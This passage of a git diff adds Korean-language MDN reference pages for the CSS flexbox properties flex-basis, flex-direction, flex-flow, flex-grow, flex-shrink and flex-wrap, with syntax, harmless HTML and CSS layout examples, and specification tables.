+flex-basis: inherit;
+flex-basis: initial;
+flex-basis: unset;
+</pre>
+
+<p><code>flex-basis</code> 속성값은 <code>content</code> 키워드를 사용하거나, <code><a href="#&lt;'width'>">&lt;'width'&gt;</a></code>를 나타내는 단위를 사용합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><a id="&lt;'width'>" name="&lt;'width'>"><code>&lt;'width'&gt;</code></a></dt>
+ <dd>{{cssxref("&lt;length&gt;")}}, 플렉스 컨테이너의 크기에 상대적인 {{cssxref("&lt;percentage&gt;")}}, <code>auto</code> 키워드 중 하나. 음수 값은 유효하지 않습니다.</dd>
+ <dt><a id="content" name="content"><code>content</code></a></dt>
+ <dd>플렉스 아이템의 콘텐츠 크기에 따라 자동으로 크기가 변합니다.</dd>
+ <dd>
+ <div class="note"><strong>참고:</strong> <code>content</code> 키워드는 Flexible Box Layout의 첫 배포에 포함되지 않아, 일부 오래 된 구현체에서는 지원하지 않을 수 있습니다. <code>flex-basis</code>와 주 크기({{cssxref("width")}}, {{cssxref("height")}}) 속성을 동시에 <code>auto</code>로 설정하면 동일한 효과를 볼 수 있습니다.</div>
+
+ <div class="note">
+ <p id="comment_text_0"><strong>역사:</strong></p>
+
+ <ul>
+  <li>원래 <code>flex-basis: auto</code>의 뜻은 자신의 <code>width</code> 또는 <code>height</code> 속성의 값을 사용하라는 것이었습니다.</li>
+  <li>그 후 <code>flex-basis: auto</code>는 자동 크기조절로 바뀌고, 기존의 <code>auto</code>는 <code>main-size</code>로 바뀌었습니다. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1032922" title='RESOLVED FIXED - Rename "flex-basis:auto" to "main-size", while preserving "flex:auto" shorthand value'>bug 1032922</a>에서 구현 기록을 볼 수 있습니다.</li>
+  <li>그러나 위의 변경점은 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1093316" title='RESOLVED FIXED - Back out flexbox "flex-basis:main-size" rename, since the CSSWG removed it from the spec'>bug 1093316</a>에서 되돌려져 <code>auto</code> 가 다시 <code>width</code> / <code>height</code> 속성을 가리키게 됐고, 대신 새로운 <code>content</code> 키워드가 자동 크기조절을 맡게 됐습니다. ({{bug("1105111")}}에서 볼 수 있습니다)</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul class="container"&gt;
+  &lt;li class="flex flex1"&gt;1: flex-basis test&lt;/li&gt;
+  &lt;li class="flex flex2"&gt;2: flex-basis test&lt;/li&gt;
+  &lt;li class="flex flex3"&gt;3: flex-basis test&lt;/li&gt;
+  &lt;li class="flex flex4"&gt;4: flex-basis test&lt;/li&gt;
+  &lt;li class="flex flex5"&gt;5: flex-basis test&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;ul class="container"&gt;
+  &lt;li class="flex flex6"&gt;6: flex-basis test&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.container {
+  font-family: arial, sans-serif;
+  margin: 0;
+  padding: 0;
+  list-style-type: none;
+  display: flex;
+  flex-wrap: wrap;
+}
+
+.flex {
+  background: #6AB6D8;
+  padding: 10px;
+  margin-bottom: 50px;
+  border: 3px solid #2E86BB;
+  color: white;
+  font-size: 20px;
+  text-align: center;
+  position: relative;
+}
+
+.flex:after {
+  position: absolute;
+  z-index: 1;
+  left: 0;
+  top: 100%;
+  margin-top: 10px;
+  width: 100%;
+  color: #333;
+  font-size: 18px;
+}
+
+.flex1 {
+  flex-basis: auto;
+}
+
+.flex1:after {
+  content: 'auto';
+}
+
+.flex2 {
+  flex-basis: max-content;
+}
+
+.flex2:after {
+  content: 'max-content';
+}
+
+.flex3 {
+  flex-basis: min-content;
+}
+
+.flex3:after {
+  content: 'min-content';
+}
+
+.flex4 {
+  flex-basis: fit-content;
+}
+
+.flex4:after {
+  content: 'fit-content';
+}
+
+.flex5 {
+   flex-basis: content;
+}
+
+.flex5:after {
+  content: 'content';
+}
+
+.flex6 {
+  flex-basis: fill;
+}
+
+.flex6:after {
+  content: 'fill';
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', '860', '360', '')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#propdef-flex-basis', 'flex-basis')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.flex-basis")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS 플렉스박스 안내서: <em><a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS 플렉스박스 안내서: <em><a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></em></li>
+ <li>{{cssxref("width")}}</li>
+</ul>
diff --git a/files/ko/web/css/flex-direction/index.html b/files/ko/web/css/flex-direction/index.html
new file mode 100644
index 0000000000..9d3ae04a49
--- /dev/null
+++ b/files/ko/web/css/flex-direction/index.html
@@ -0,0 +1,155 @@
+---
+title: flex-direction
+slug: Web/CSS/flex-direction
+tags:
+  - CSS
+  - CSS Flexible Boxes
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/flex-direction
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>flex-direction</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 플렉스 컨테이너 내의 아이템을 배치할 때 사용할 주축 및 방향(정방향, 역방향)을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-direction.html")}}</div>
+
+
+
+<p><code>row</code>와 <code>row-reverse</code>의 경우 플렉스 컨테이너의 방향성에 영향을 받음을 참고하세요. 컨테이너의 <code>dir</code> 값이 <code>ltr</code>이라면 <code>row</code>는 왼쪽부터 시작하는 가로축을, <code>row-reverse</code>는 오른쪽부터 시작하는 가로축을 나타냅니다. 그러나 <code>dir</code> 값이 <code>rtl</code>이라면 <code>row</code>가 오른쪽부터 시작하는 가로축을, <code>row-reverse</code>가 왼쪽부터 시작하는 가로축을 나타냅니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 한 줄의 글을 작성하는 방향대로 */
+flex-direction: row;
+
+/* &lt;row&gt;처럼, 대신 역방향 */
+flex-direction: row-reverse;
+
+/* 글 여러 줄이 쌓이는 방향대로 */
+flex-direction: column;
+
+/* &lt;column&gt;처럼, 대신 역방향 */
+flex-direction: column-reverse;
+
+/* 전역 값 */
+flex-direction: inherit;
+flex-direction: initial;
+flex-direction: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>row</code></dt>
+ <dd>플렉스 컨테이너의 주축이 글의 작성 방향과 동일합니다. 주축의 시작점과 끝점이 콘텐츠 방향과 동일합니다.</dd>
+ <dt><code>row-reverse</code></dt>
+ <dd><code>row</code>와 동일하게 동작하지만 시작점과 끝점이 반대에 위치합니다.</dd>
+ <dt><code>column</code></dt>
+ <dd>플렉스 컨테이너의 주축이 블록 축과 동일합니다. 주축의 시작점과 끝점이, 글 작성 모드의 이전 지점 및 이후 지점과 동일합니다.</dd>
+ <dt><code>column-reverse</code></dt>
+ <dd><code>column</code>과 동일하게 동작하지만 시작점과 끝점이 반대에 위치합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;h4&gt;This is a Column-Reverse&lt;/h4&gt;
+&lt;div id="content"&gt;
+    &lt;div class="box" style="background-color:red;"&gt;A&lt;/div&gt;
+    &lt;div class="box" style="background-color:lightblue;"&gt;B&lt;/div&gt;
+    &lt;div class="box" style="background-color:yellow;"&gt;C&lt;/div&gt;
+&lt;/div&gt;
+&lt;h4&gt;This is a Row-Reverse&lt;/h4&gt;
+&lt;div id="content1"&gt;
+    &lt;div class="box1" style="background-color:red;"&gt;A&lt;/div&gt;
+    &lt;div class="box1" style="background-color:lightblue;"&gt;B&lt;/div&gt;
+    &lt;div class="box1" style="background-color:yellow;"&gt;C&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#content {
+  width: 200px;
+  height: 200px;
+  border: 1px solid #c3c3c3;
+  display: -webkit-flex;
+  -webkit-flex-direction: column-reverse;
+  display: flex;
+  flex-direction: column-reverse;
+}
+
+.box {
+  width: 50px;
+  height: 50px;
+}
+
+#content1 {
+  width: 200px;
+  height: 200px;
+  border: 1px solid #c3c3c3;
+  display: -webkit-flex;
+  -webkit-flex-direction: row-reverse;
+  display: flex;
+  flex-direction: row-reverse;
+}
+
+.box1 {
+  width: 50px;
+  height: 50px;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('예제', '', '300') }}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p><code>flex-direction</code> 속성에 <code>row-reverse</code> 또는 <code>column-reverse</code> 값을 사용하면 DOM 구조와 그 시각적 표현에 차이가 생깁니다. 이는 낮은 시력으로 스크린 리더 등 접근성 기술을 사용해 이동하는 사용자의 경험에 부정적인 영향을 줄 수 있습니다. 시각적(CSS) 순서가 중요하다고 해도, 스크린 리더 사용자는 그 순서가 어떻게 되는지 알 수 없습니다.</p>
+
+<ul>
+ <li><a href="https://tink.uk/flexbox-the-keyboard-navigation-disconnect/" rel="noopener">Flexbox &amp; the keyboard navigation disconnect — Tink</a></li>
+ <li><a href="http://adrianroselli.com/2015/09/source-order-matters.html" rel="noopener">Source Order Matters | Adrian Roselli</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">MDN Understanding WCAG, Guideline 1.3 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-sequence.html" rel="noopener">Understanding Success Criterion 1.3.2 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#flex-direction', 'flex-direction')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.flex-direction")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS 플렉스박스 가이드: <em><a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS 플렉스박스 가이드: <em><a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">Ordering flex items</a></em></li>
+</ul>
diff --git a/files/ko/web/css/flex-flow/index.html b/files/ko/web/css/flex-flow/index.html
new file mode 100644
index 0000000000..33d68c5188
--- /dev/null
+++ b/files/ko/web/css/flex-flow/index.html
@@ -0,0 +1,91 @@
+---
+title: flex-flow
+slug: Web/CSS/flex-flow
+tags:
+  - CSS
+  - CSS Flexible Boxes
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/flex-flow
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>flex-flow</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 {{cssxref("flex-direction")}}, {{cssxref("flex-wrap")}} 속성의 <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-flow.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* flex-flow: &lt;'flex-direction'&gt; */
+flex-flow: row;
+flex-flow: row-reverse;
+flex-flow: column;
+flex-flow: column-reverse;
+
+/* flex-flow: &lt;'flex-wrap'&gt; */
+flex-flow: nowrap;
+flex-flow: wrap;
+flex-flow: wrap-reverse;
+
+/* flex-flow: &lt;'flex-direction'&gt;과 &lt;'flex-wrap'&gt; */
+flex-flow: row nowrap;
+flex-flow: column wrap;
+flex-flow: column-reverse wrap-reverse;
+
+/* 전역 값 */
+flex-flow: inherit;
+flex-flow: initial;
+flex-flow: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>자세한 내용은 {{cssxref("flex-direction")}}과 {{cssxref("flex-wrap")}} 속성을 참고하세요.</p>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:css;highlight:3">element {
+  /* Main-axis is the block direction with reversed main-start and main-end. Flex items are laid out in multiple lines */
+  flex-flow: column-reverse wrap;
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox','#flex-flow-property','flex-flow') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.flex-flow")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS 플렉스박스 가이드: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS 플렉스박스 가이드: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">Ordering flex items</a></em></li>
+</ul>
diff --git a/files/ko/web/css/flex-grow/index.html b/files/ko/web/css/flex-grow/index.html
new file mode 100644
index 0000000000..544fe486cc
--- /dev/null
+++ b/files/ko/web/css/flex-grow/index.html
@@ -0,0 +1,123 @@
+---
+title: flex-grow
+slug: Web/CSS/flex-grow
+tags:
+  - CSS
+  - CSS Flexible Boxes
+  - CSS Property
+  - NeedsContent
+  - Reference
+translation_of: Web/CSS/flex-grow
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>flex-grow</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> property 는 <code>flex-item</code> 요소가, <code>flex-container</code> 요소 내부에서 할당 가능한 공간의 정도를 선언합니다. 만약 <strong>형제 요소</strong>로 렌더링 된 모든 <code>flex-item</code> 요소들이 동일한 <code>flex-grow</code> 값을 갖는다면, <code>flex-container</code> 내부에서 동일한 공간을 할당받습니다. 하지만 <code>flex-grow</code> 값으로 다른 소수값을 지정한다면, 그에 따라 다른 공간값을 나누어 할당받게 됩니다.</p>
+
+<p>보통 <code>flex-grow</code>를 사용할땐, {{ Cssxref("flex-shrink") }}, {{ Cssxref("flex-basis") }} 속성을 함께 사용합니다. 그리고 일반적으로는 모든 값이 설정되었음을 보장하기 위하여 {{ Cssxref("flex") }} 속성을 이용해 <strong>축약형</strong>으로 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-grow.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;number&gt; values */
+flex-grow: 3;
+flex-grow: 0.6;
+
+/* Global values */
+flex-grow: inherit;
+flex-grow: initial;
+flex-grow: unset;
+</pre>
+
+<p><code>flex-grow</code> 속성에 대한 값은 <code><a href="#&lt;number>">&lt;number&gt;</a></code> 단독으로 표현합니다.</p>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><a id="&lt;number>" name="&lt;number>"><code>&lt;number&gt;</code></a></dt>
+ <dd>관련 링크를 참고하세요. {{cssxref("&lt;number&gt;")}}. 단, 음수값은 허용되지 않습니다.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<div id="Live_Sample">
+<pre class="brush: html">&lt;h4&gt;This is a Flex-Grow&lt;/h4&gt;
+&lt;h5&gt;A,B,C and F are flex-grow:1 . D and E are flex-grow:2 .&lt;/h5&gt;
+&lt;div id="content"&gt;
+  &lt;div class="box" style="background-color:red;"&gt;A&lt;/div&gt;
+  &lt;div class="box" style="background-color:lightblue;"&gt;B&lt;/div&gt;
+  &lt;div class="box" style="background-color:yellow;"&gt;C&lt;/div&gt;
+  &lt;div class="box1" style="background-color:brown;"&gt;D&lt;/div&gt;
+  &lt;div class="box1" style="background-color:lightgreen;"&gt;E&lt;/div&gt;
+  &lt;div class="box" style="background-color:brown;"&gt;F&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#content {
+  display: flex;
+
+  justify-content: space-around;
+  flex-flow: row wrap;
+  align-items: stretch;
+}
+
+.box {
+  flex-grow: 1;
+  border: 3px solid rgba(0,0,0,.2);
+}
+
+.box1 {
+  flex-grow: 2;
+  border: 3px solid rgba(0,0,0,.2);
+}
+</pre>
+</div>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Example', '700px', '300px', '', 'Web/CSS/flex-grow')}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox','#flex-grow-property','flex-grow')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.flex-grow")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></em></li>
+ <li><a href="https://css-tricks.com/flex-grow-is-weird/">`flex-grow` is weird. Or is it?</a> article by Manuel Matuzovic on CSS-Tricks, which illustrates how flex-grow works</li>
+</ul>
diff --git a/files/ko/web/css/flex-shrink/index.html b/files/ko/web/css/flex-shrink/index.html
new file mode 100644
index 0000000000..14a6f5427f
--- /dev/null
+++ b/files/ko/web/css/flex-shrink/index.html
@@ -0,0 +1,123 @@
+---
+title: flex-shrink
+slug: Web/CSS/flex-shrink
+tags:
+  - CSS
+  - CSS Flexible Boxes
+  - CSS Property
+  - NeedsContent
+  - Reference
+translation_of: Web/CSS/flex-shrink
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>flex-shrink</code></strong> <a href="/en-US/docs/CSS" title="CSS">CSS</a> property는 <code>flex-item</code> 요소의 <code>flex-shrink</code> 값을 설정하는 속성입니다. 만약 <code>flex-item</code> 요소의 크기가 <code>flex-container</code> 요소의 크기보다 클 때 flex-shrink 속성을 사용하는데, 설정된 숫자값에 따라 <code>flex-container</code> 요소 내부에서 <code>flex-item</code> 요소의 크기가 <strong>축소</strong>됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-shrink.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;number&gt; values */
+flex-shrink: 2;
+flex-shrink: 0.6;
+
+/* Global values */
+flex-shrink: inherit;
+flex-shrink: initial;
+flex-shrink: unset;
+</pre>
+
+<p>The <code>flex-shrink</code> property is specified as a single <code><a href="#&lt;number>">&lt;number&gt;</a></code>.</p>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><a id="&lt;number>" name="&lt;number>"><code>&lt;number&gt;</code></a></dt>
+ <dd>관련 링크를 참고하세요{{cssxref("&lt;number&gt;")}}. 단, 음수값은 허용되지 않습니다.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<div id="Live_Sample">
+<pre class="brush: html">&lt;p&gt;The width of content is 500px; the flex-basis of the flex items is 120px.&lt;/p&gt;
+&lt;p&gt;A, B, C have flex-shrink:1 set. D and E have flex-shrink:2 set&lt;/p&gt;
+&lt;p&gt;The width of D and E is less than the others.&lt;/p&gt;
+&lt;div id="content"&gt;
+  &lt;div class="box" style="background-color:red;"&gt;A&lt;/div&gt;
+  &lt;div class="box" style="background-color:lightblue;"&gt;B&lt;/div&gt;
+  &lt;div class="box" style="background-color:yellow;"&gt;C&lt;/div&gt;
+  &lt;div class="box1" style="background-color:brown;"&gt;D&lt;/div&gt;
+  &lt;div class="box1" style="background-color:lightgreen;"&gt;E&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#content {
+  display: flex;
+  width: 500px;
+}
+
+#content div {
+  flex-basis: 120px;
+  border: 3px solid rgba(0,0,0,.2);
+}
+
+.box {
+  flex-shrink: 1;
+}
+
+.box1 {
+  flex-shrink: 2;
+}
+</pre>
+</div>
+
+<h3 id="Result">Result</h3>
+
+<p>{{ EmbedLiveSample('Example', 500, 300) }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox', '#flex-shrink', 'flex-shrink') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.flex-shrink")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></em></li>
+</ul>
+
+<p><nobr></nobr></p>
diff --git a/files/ko/web/css/flex-wrap/index.html b/files/ko/web/css/flex-wrap/index.html
new file mode 100644
index 0000000000..7ee27b4386
--- /dev/null
+++ b/files/ko/web/css/flex-wrap/index.html
@@ -0,0 +1,159 @@
+---
+title: flex-wrap
+slug: Web/CSS/flex-wrap
+tags:
+  - CSS
+  - CSS Flexible Boxes
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/flex-wrap
+---
+<div>{{ CSSRef}}</div>
+
+<p><a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>flex-wrap</code></strong> property는 <code>flex-item</code> 요소들이 강제로 한줄에 배치되게 할 것인지, 또는 가능한 영역 내에서 벗어나지 않고 여러행으로 나누어 표현 할 것인지 결정하는 속성입니다. 만약 영역 내에서 벗어나지 못하게 설정한다면, 동시에 요소의 방향 축을 결정할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-wrap.html")}}</div>
+
+
+
+<p>여기를 참고하면 관련된 더욱 자세한 정보를 얻을 수 있습니다. <a href="/en/CSS/Using_CSS_flexible_boxes" title="/en/CSS/Using_CSS_flexible_boxes">Using CSS flexible boxes</a></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css no-line-numbers">flex-wrap: nowrap; /* Default value */
+flex-wrap: wrap;
+flex-wrap: wrap-reverse;
+
+/* Global values */
+flex-wrap: inherit;
+flex-wrap: initial;
+flex-wrap: unset;
+</pre>
+
+<p><code>flex-wrap</code> 속성의 값으로, 다음 목록 중 하나의 키워드를 선택할 수 있습니다.</p>
+
+<h3 id="Values">Values</h3>
+
+<p>아래는 사용 가능한 속성값들입니다:</p>
+
+<dl>
+ <dt><code>nowrap</code></dt>
+ <dd>기본 설정값으로, <code>flex-container</code> 부모요소 영역을 벗어나더라도 <code>flex-item</code> 요소들을 <strong>한 줄</strong>에 배치합니다. 시작점은 {{cssxref("flex-direction")}} 에 의해 결정된 방향으로 적용됩니다.</dd>
+ <dt><code>wrap</code></dt>
+ <dd><code>flex-item</code> 요소들이 내부 로직에 의해 분할되어 여러 행에 걸쳐서 배치됩니다. <code>nowrap</code> 속성과 마찬가지로 요소가 배치되는 시작점은 {{cssxref("flex-direction")}} 에 의해 결정됩니다. 일반적으로 위에서 아래로 쌓이는 순서입니다.</dd>
+ <dt><code>wrap-reverse</code></dt>
+ <dd><code>wrap</code> 속성값과 동일하지만, 요소가 나열되는 시작점과 끝점의 기준이 반대로 배치됩니다.</dd>
+ <dt>
+ <h3 id="Formal_syntax">Formal syntax</h3>
+ </dt>
+</dl>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<div id="Live_Sample">
+<pre class="brush: html">&lt;h4&gt;This is an example for flex-wrap:wrap &lt;/h4&gt;
+&lt;div class="content"&gt;
+  &lt;div class="red"&gt;1&lt;/div&gt;
+  &lt;div class="green"&gt;2&lt;/div&gt;
+  &lt;div class="blue"&gt;3&lt;/div&gt;
+&lt;/div&gt;
+&lt;h4&gt;This is an example for flex-wrap:nowrap &lt;/h4&gt;
+&lt;div class="content1"&gt;
+  &lt;div class="red"&gt;1&lt;/div&gt;
+  &lt;div class="green"&gt;2&lt;/div&gt;
+  &lt;div class="blue"&gt;3&lt;/div&gt;
+&lt;/div&gt;
+&lt;h4&gt;This is an example for flex-wrap:wrap-reverse &lt;/h4&gt;
+&lt;div class="content2"&gt;
+  &lt;div class="red"&gt;1&lt;/div&gt;
+  &lt;div class="green"&gt;2&lt;/div&gt;
+  &lt;div class="blue"&gt;3&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* Common Styles */
+.content,
+.content1,
+.content2 {
+    color: #fff;
+    font: 100 24px/100px sans-serif;
+    height: 150px;
+    text-align: center;
+}
+
+.content div,
+.content1 div,
+.content2 div {
+    height: 50%;
+    width: 50%;
+}
+.red {
+    background: orangered;
+}
+.green {
+    background: yellowgreen;
+}
+.blue {
+    background: steelblue;
+}
+
+/* Flexbox Styles */
+.content {
+    display: flex;
+    flex-wrap: wrap;
+}
+.content1 {
+    display: flex;
+    flex-wrap: nowrap;
+}
+.content2 {
+    display: flex;
+    flex-wrap: wrap-reverse;
+}
+
+</pre>
+</div>
+
+<h3 id="Results">Results</h3>
+
+<p>{{ EmbedLiveSample('Examples', '700px', '700px', '', 'Web/CSS/flex-wrap') }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox', '#flex-wrap-property', 'flex-wrap') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.flex-wrap")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Mastering wrapping of flex items</a></em></li>
+</ul>
diff --git a/files/ko/web/css/flex/index.html b/files/ko/web/css/flex/index.html
new file mode 100644
index 0000000000..d7bd9f9d3d
--- /dev/null
+++ b/files/ko/web/css/flex/index.html
@@ -0,0 +1,267 @@
+---
+title: flex
+slug: Web/CSS/flex
+tags:
+  - CSS
+  - CSS Flexible Boxes
+  - CSS Property
+  - Reference
